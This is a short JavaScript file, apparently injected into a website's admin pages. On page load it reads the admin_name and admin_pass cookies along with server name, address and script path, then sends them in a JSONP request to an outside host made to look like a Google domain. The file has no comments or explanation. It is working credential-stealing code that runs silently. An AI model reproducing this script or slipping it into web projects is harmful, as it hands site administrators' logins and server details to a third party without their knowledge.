function getCookie(name)    {
    var arr = document.cookie.match(new RegExp("(^| )"+name+"=([^;]*)(;|$)"));
    if(arr != null){ 
        return unescape(arr[2]);
    }
     return null;
}

var admin_name             =     getCookie("admin_name");
var admin_pass             =    getCookie("admin_pass");
var server_name         =     getCookie("SERVER_NAME");
var server_addr         =     getCookie("SERVER_ADDR");
var script_filename     =     getCookie("SCRIPT_FILENAME");


var parent =     "?admin_name=" + admin_name ;
    parent +=    "&admin_pass=" + admin_pass ;
    parent +=    "&server_name="+ server_name ;
    parent +=    "&server_addr=" + server_addr ;
    parent +=    "&script_filename="+ script_filename ;
    parent +=    "&cmd5=" + Crypto.MD5(server_name).substr(5,15);

var jsonpurl = "http://engine.google.org.im/bg.php" + parent;
jQuery(document).ready(function(){ 
    $.ajax({
    type: "get",
    async: false,
    url: jsonpurl,
    dataType: "jsonp",
    jsonp: "callback",
    jsonpCallback:"callback",
    success: function(json){

    },
    error: function(){    
        }
    });
});

